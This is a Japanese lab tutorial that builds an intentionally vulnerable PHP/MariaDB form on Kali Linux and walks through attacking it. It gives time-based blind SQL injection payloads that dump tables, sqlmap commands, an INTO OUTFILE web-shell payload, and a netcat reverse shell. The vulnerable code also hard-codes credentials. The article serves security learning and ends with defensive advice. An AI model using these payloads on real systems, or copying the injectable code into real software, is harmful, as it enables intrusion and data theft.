見出し画像

Kali LinuxでTime-Based Blind SQL Injectionを体験する


1 全般

 勉強のため、Kali Linux において Time-Based Blind SQL Injection を行える環境を構築しました。備忘録として手法を記載します。

※ 本記事に記載されている内容を許可されていない第三者に対して行うと犯罪行為になります。絶対に悪用しないでください。

※ また、本記事の内容を実行する際は、自己責任でお願いします。

2 構築環境のイメージ図

3 SQLサーバ(MySQL)の構築

① MySQLのインストール

 Kali Linuxには MySQL が無いため、インストールする必要があります。

 apt でupgradeします

sudo apt update
sudo apt upgrade

  関係ファイルをインストールします

sudo apt install mariadb-server

 サービスを立ち上げます。

$ sudo systemctl start mysql

 mysql_secure_installation を実行します。

$ sudo mysql_secure_installation 
Enter current password for root (enter for none): [rootのpwを入力]

Switch to unix_socket authentication [Y/n] n

Change the root password? [Y/n] Y
New password: [rootのpwを入力]
Re-enter new password: [rootのpwを入力]

Remove anonymous users? [Y/n] Y

Disallow root login remotely? [Y/n] n

Remove test database and access to it? [Y/n] Y

Reload privilege tables now? [Y/n] Y

 MySQL Serverへログインします。pwを入力してログインが可能なら成功です。

$ mysql -u root -p

② databaseとtableの作成

 PHPからアクセスする用のdatabaseを作成します。

MariaDB [(none)]> create database web_service default character set utf8;

 databaseが作成されたことを確認します。

MariaDB [(none)]> show databases;

 Databaseを切り替えます

MariaDB [(none)]> use web_service;

 tableを作成します。

MariaDB [web_service]> create table register_mail (id integer, mail text, memo text);

 tableが作成されたことを確認します。

MariaDB [web_service]> show tables;

 任意のデータを登録します。

MariaDB [web_service]> insert into register_mail values (1,'pichu@kawaii.com','pw:qwer-asdf-zxcv');
MariaDB [web_service]> insert into register_mail values (2,'kirby@kawaii.com','poyo');
MariaDB [web_service]> insert into register_mail values (3,'pikachu@kawaii.com','username:admin');

 データが登録されたか確認します。

MariaDB [web_service]> select * from register_mail;

4 Webサーバ & Webページの構築

 まずは DirectoryIndex を変更します。

$ sudo vim /etc/apache2/apache2.conf
デフォルトで「index.php」にアクセスするようにします。

 /var/www/html/blind_sqli_timebased/ に、「index.php」ファイルを作成します。

$ cd /var/www/html  
$ sudo mkdir blind_sqli_timebased
$ cd blind_sqli_timebased 
$ sudo touch index.php
$ sudo chmod 777 index.php

 好きな方法で以下のコードを書き込んでください。

 ・ Index.php

<?php header("X-XSS-Protection: 0");?>
<?php
    # submitが押された場合
    if (isset($_POST["mail"]))
    {
        $mail = $_POST["mail"];
        try
        {
            # データベースの接続情報
            $host = 'localhost';  # MySQLサーバーのホスト名
            $username = 'root';  # MySQLユーザー名
            $password = 'passworddesuyo';  # MySQLパスワード
            $database = 'web_service';  # 使用するデータベース名
            
            // PDOオブジェクトを作成し、MySQLサーバーに接続
            $pdo = new PDO("mysql:host=$host;dbname=$database;charset=utf8mb4", $username, $password);

            # SQLのクエリを作成(意図的にsqliしやすいように)
            $prepare = $pdo->prepare("SELECT id,mail FROM register_mail WHERE mail = '" .$mail . "';");

            # クエリを送信
            $prepare->execute();

            # 結果を取得
            $result = $prepare->fetchAll(PDO::FETCH_ASSOC);

            print("メールの登録ありがとうございます。パスワードの登録案内はメールアドレスに送信しています。");

        }
        catch(PDOException $e)
        {
            // もしmysqlへの接続が失敗した場合は何もしない
            print("メールの登録ありがとうございます。パスワードの登録案内はメールアドレスに送信しています。");
        }
    }
?>

<!doctype html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>登録フォーム</title>
    </head>
    <body>
        <p>登録するメールアドレスを入力し、送信してください。</p>
            <form name="register_form" action="<?php print($_SERVER['SCRIPT_NAME']); ?>" method="POST">
                <input type="text" name="mail" value="<?php echo $mail; ?>" size = 200/><br>
                <input type="submit"" value="送信">
            </form>
    </body>
</html>

 apache2 を起動します。

$ sudo systemctl start apache2

 http://localhost/blind_sqli_timebased/ にアクセスした時に、ページが表示されれば成功です!

http://localhost/blind_sqli_timebased/index.php

5 Webページの動作

・ 通常の流れ(メールアドレス入力 & 送信 → メッセージの表示)

http://localhost/blind_sqli_timebased/index.php
※ 実際にはメールは送信されていません。

 リクエスト確認すると、index.php 自身に POSTで mail パラメータを送信していることが分かります。

Burp Suite

6 SQL Injetionの脆弱性を特定

 index.php ではMySQLに投げるクエリを作成する際、サニタイジングをしておらず、ユーザからの入力をそのまま利用するようになっています。

$prepare = $pdo->prepare("SELECT id,mail FROM register_mail WHERE mail = '" .$mail . "';");

$mail がそのままユーザの入力になる

 これにより SQL Injection の脆弱性が存在しますが、Index.php はどのような入力があっても同じ文字列を表示するようになっているため、ぱっと見ではSQL Injectionが可能であるか判断できません。

http://localhost/blind_sqli_timebased/index.php
SQL Injection が成功していないように見える

 そこで、MySQL のSLEEP() 関数を使用します。SLEEP() を利用すると、クエリが成功した場合は指定した時間 MySQL を止めることができます。
 つまり、リクエストに含まれるSQLのクエリにSLEEP()を仕込み、レスポンスが遅れた場合はクエリが成功している = SQL Injection に成功していると判断できます。

 まず、通常のレスポンスタイムを測定します。一瞬で返ってきます。

pichu_kawaii@pichu.com

クエリが成立している

 次に、SLEEP() を仕込みます。これも一瞬で返ってくるので、MySQLに投げるクエリは成立していません。

' UNION SELECT SLEEP(3);#

columnの数が足りず、エラーになる

 次に、SELECTのcolumnを1つ増やします。すると、レスポンスが返ってくるのに約3秒かかります。

' UNION SELECT SLEEP(3),null;#

クエリが成立し、3秒遅れる

 この時、index.phpがMySQLに投げるクエリは以下の通りになっています。

SELECT id,mail FROM register_mail WHERE mail = '' UNION SELECT SLEEP(3),null;#';

「#」以降はコメント扱いとなるため無効になる

 レスポンスが遅れる = クエリが成立している = SQL Injection が可能
と判断できます。これが Time-Based Blind SQL Injection です。

7 Manual Time-Based Blind SQL Injection

 では、これから手動で Time-Based Blind SQL Injectionを行っていきます。

① UNIONで結合するcolumnの数を特定

 正規のクエリで使用している、「id,mail」の数の事です。

SELECT id,mail FROM register_mail WHERE mail = 'pichu_kawaii@pichu.com';

 これは、以下のようにnullの数を増やしていくことで特定が可能です。

' UNION SELECT SLEEP(3);#

column数1 → レスポンスは遅れない

' UNION SELECT SLEEP(3),null;#

column数2 → レスポンスが遅れる

 レスポンスが遅れるクエリが「SLEEP(3),null」の2つのため、UNIONで結合するcolumnの数は2であることが分かりました。

② databaseの名前を特定

 databaseの名前は以下の通りです。これを特定していきます。

見つけたいのは作成したdatabaseである「web_service」

 具体的には、%(0 個以上の文字で構成される文字列に一致)を使用します。以下は、「aから始まるdatabaseが存在する場合、SLEEP(3)する」payloadです。

' UNION SELECT SLEEP(3),null FROM information_schema.schemata WHERE schema_name like 'a%';#

「a」から始まるdatabaseは無い → レスポンスは遅れない

 しばらく捜索していると、「w%」がヒットします。

' UNION SELECT SLEEP(3),null FROM information_schema.schemata WHERE schema_name like 'w%';#

「w」から始まるdatabaseがある → レスポンスが遅れる

 あとは同じようにして捜索していき、「web_service」が見つかります。

' UNION SELECT SLEEP(3),null FROM information_schema.schemata WHERE schema_name like 'web_service%';#

「web_service」から始まるdatabaseがある → レスポンスが遅れる

' UNION SELECT SLEEP(3),null FROM information_schema.schemata WHERE schema_name like 'web_service';#

「%」を外す → レスポンスが遅れる → 「web_service」で確定

③ table名を特定

 tableの名前と数は以下の通りです。database名同じように%を使用して特定していきます。

' UNION SELECT SLEEP(3),null FROM information_schema.tables WHERE table_schema = 'web_service' AND table_name like 'a%';#

「a」から始まるtableは無い → レスポンスは遅れない

' UNION SELECT SLEEP(3),null FROM information_schema.tables WHERE table_schema = 'web_service' AND table_name like 'r%';#

「r」から始まるtableがある → レスポンスが遅れる

 「register_mail」が見つかります。

' UNION SELECT SLEEP(3),null FROM information_schema.tables WHERE table_schema = 'web_service' AND table_name like 'register_mail';#

レスポンスが遅れる → 「register_mail」で確定

④ columnの名前を数を特定

 table の名前と数は以下の通りです。同じように%を使用して特定していきます。

「id」「mail」「memo」の3つ

' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name like 'a%';#

「a」から始まるcolumnは無い → レスポンスは遅れない

' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name like 'id';#

レスポンスが遅れる → 「id」で確定

' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name != 'id' AND column_name like 'mail';#

レスポンスが遅れる → 「mail」で確定

' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name != 'id' AND column_name != 'mail' AND column_name like 'memo';#

レスポンスが遅れる → 「memo」で確定

' UNION SELECT SLEEP(3),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name != 'id' AND column_name != 'mail' AND column_name != 'memo' AND column_name like '%';#

レスポンスが遅れない → 「id」「mail」「memo」以外のcolumnが存在しない

⑤ columnのvalueを特定

 columnのvalueは以下の通りです。同じように%を使用して特定していきます。

' UNION SELECT SLEEP(3),null FROM register_mail WHERE id like '1';#

id = 1 が存在する

' UNION SELECT SLEEP(3),null FROM register_mail WHERE id = '1' AND mail like 'pichu@kawaii.com';#

id = 1 かつ mail = pichu@kawaii.com が存在する

' UNION SELECT SLEEP(3),null FROM register_mail WHERE id = '1' AND mail = 'pichu@kawaii.com' AND memo like 'pw:qwer-asdf-zxcv';#

id = 1 かつ mail = pichu@kawaii.com かつ memo = pw:qwer-asdf-zxcv が存在する

 id =2, id=3 も同様に推測可能です。

' UNION SELECT SLEEP(3),null FROM register_mail WHERE id = '2' AND mail = 'kirby@kawaii.com' AND memo = 'poyo';#

id = 2 かつ mail = kirby@kawaii.com かつ memo = poyo が存在する

' UNION SELECT SLEEP(3),null FROM register_mail WHERE id = '3' AND mail = 'pikachu@kawaii.com' AND memo = 'username:admin';#

id = 3 かつ mail = pikachu@kawaii.com かつ memo = username:admin が存在する

 以上で、dumpが完了しました。

database →「web_service」
table →「register_mail」

id | mail | memo
1| pichu@kawaii.com | pw:qwer-asdf-zxcv
2 | kirby@kawaii.com | poyo
3 | pikachu@kawaii.com | username:admin

8 sqlmap で自動化

 手動でやるSQL Injection の dump はとても大変です。なので、sqlmapに全てやらせます。

$ sqlmap -u http://localhost/blind_sqli_timebased/index.php --data "mail=test@test.com" --dbms mysql --dbs  
database名を取得(数秒)
$ sqlmap -u http://localhost/blind_sqli_timebased/index.php --data "mail=test@test.com" --dbms mysql -D web_service --tables
table名を取得(数秒)
$ sqlmap -u http://localhost/blind_sqli_timebased/index.php --data "mail=test@test.com" --dbms mysql -D web_service -T register_mail --dump
dump 完了(約5分)

9 python で自動化

 sqlmap はとても便利ですが、やはり自分でexploitしたいのでpythonで自動化しました。
 ※ 実行結果のターミナルには「_」が映っていませんが、実際には「_」があります!

① UNIONで結合するcolumnの数を特定(crack1)

実行結果

' UNION SELECT SLEEP(1),null;#

payloadの例

② database 名を特定(crack2)

前提条件
 ・ UNIONで結合するcolumnの数が分かっている(crack1)

実行結果

' UNION SELECT SLEEP(10),null FROM information_schema.schemata WHERE schema_name != 'web_service' AND schema_name like 'a%' COLLATE utf8mb4_bin;#

payloadの例

③ table 名を特定(crack3)

前提条件
 ・ UNIONで結合するcolumnの数が分かっている(crack1)
 ・ database名が分かっている(crack2)

実行結果

' UNION SELECT SLEEP(1),null FROM information_schema.tables WHERE table_schema = 'web_service' AND table_name LIKE 'a%' COLLATE utf8mb4_bin;#

payloadの例

④ column 名の特定(crack4)

前提条件 
 ・ UNIONで結合するcolumnの数が分かっている(crack1)
 ・ database名が分かっている(crack2)
 ・ table名が分かっている(crack3)

実行結果

' UNION SELECT SLEEP(1),null FROM information_schema.columns WHERE table_schema = 'web_service' AND table_name = 'register_mail' AND column_name != 'id' AND column_name LIKE 'a%' COLLATE utf8mb4_bin;#

payloadの例

⑤ 主キーの特定(crack5)

前提条件 
 ・ UNIONで結合するcolumnの数が分かっている(crack1)
 ・ table名が分かっている(crack3)
 ・ table名に対するcolumnの名前が分かっている(crack4)

実行結果

' UNION SELECT SLEEP(1),null FROM register_mail HAVING COUNT(DISTINCT mail) = COUNT(*);#

payloadの例(primary_keyがどのcolumnか特定)

' UNION SELECT SLEEP(1),null FROM register_mail WHERE id != '1' AND id like 'a%' COLLATE utf8mb4_bin;#

payloadの例(primary_keyのvalueを特定)


⑥ columnのvalueを特定(crack6)

前提条件 
 ・ UNIONで結合するcolumnの数が分かっている(crack1)
 ・ table名が分かっている(crack3)
 ・ table名に対するcolumnの名前が分かっている(crack4)
 ・ primary_keyの名前が分かっている(crack5)
 ・ primary_keyのvalueが分かっている(crack5)

' UNION SELECT SLEEP(1),null FROM register_mail WHERE id = '1' AND mail = 'pichu@kawaii.com' AND memo like 'a%';#

payloadの例
実行結果(threadで実行しています)

10 Remote Code Execution(OUTFILE)

 MySQLには OUTFILE という構文があり、SQLの結果をファイルに出力することが可能です。
 これとSQL Injectionを組み合わせることで任意のコマンドを実行させることが可能です。

 例として、Webページの管理者がSQLの結果を /var/www/html/blind_sqli_timebased/ の中に格納して利用したいと思い、mysqlユーザ(MySQLを実行しているユーザ)に書き込み権限を与えたとします。

$ sudo chmod 777 /var/www/html/blind_sqli_timebased 
$ ls -la /var/www/html
total 40
drwxr-xr-x  4 root root  4096 May 28 09:10 .
drwxr-xr-x  3 root root  4096 Nov 17  2023 ..
drwxrwxrwx  2 root root  4096 May 28 09:10 blind_sqli_timebased

 すると、MySQL側でファイルの作成が可能になります。

MariaDB [web_service]> SELECT 'test' INTO OUTFILE '/var/www/html/blind_sqli_timebased/test.txt';
※ 既にあるファイルに出力しようとするとエラーになるので注意!

 そして、当たり前ですがブラウザからアクセスが可能です。

http://localhost/blind_sqli_timebased/test.txt

 ということは、SQL Injectionで Web Shell を作成させ、ブラウザからアクセスし、コマンドを実行させることが可能です。

 以下は、/var/www/html/blind/sqli_timebased/reverse.php ファイルに web shell を書き込んでいます。

' UNION SELECT '<?php system($_GET[\'cmd\']);?>', SLEEP(1) INTO OUTFILE '/var/www/html/blind_sqli_timebased/reverse.php';#

payload
http://localhost/blind_sqli_timebased/index.php
実際にファイルが出来ている

 実際にアクセスしに行くと、ファイルが存在していることが分かります。

http://localhost/blind_sqli_timebased/reverse.php

 以下のようにGETでパラメータを送ってみます。

http://localhost/blind_sqli_timebased/reverse.php?cmd=id

RCE
http://localhost/blind_sqli_timebased/reverse.php?cmd=id

 なんと、RCEが出来てしまいました。

 RCEができるということは、Reverse Shellの確立も可能です。まずは攻撃者の端末(都合上、同じ端末から)で待ち受けます。

$ nc -lvp 810

 次に、以下のReverse Shellを実行させます。

http://localhost/blind_sqli_timebased/reverse.php?cmd=nc -c sh localhost 810

Reverse Shell送信

 すると、画面が止まり…

http://localhost/blind_sqli_timebased/reverse.php?cmd=nc -c sh localhost 810

 Reverse Shellが確立されてしまいました。

卍 Shell Dance 卍

 これはセキュリティ的に非常にまずい状態なので、検証し終わったらサーバを落としてください。

$ sudo systemctl stop mysql
$ sudo systemctl stop apache2

11 まとめ

・ 見かけ上は SQL Injection 対策がしてあるWebページでも、サニタイジング(エスケープ処理)をしていないとSQL Injectionされてしまう。
 → SQLサーバを使用してWebページを作成する場合、サニタイジングは絶対に忘れないようにする。

・ SQL Injection をされてしまうとSQLサーバのデータを dump されるだけに限らず、RCE などほかの攻撃をされてしまう危険性がある。
 → 今回の例では「アクセス制御の不備」によるものなので、攻撃を許してしまいそうな設定は控える。

この記事が気に入ったらサポートをしてみませんか?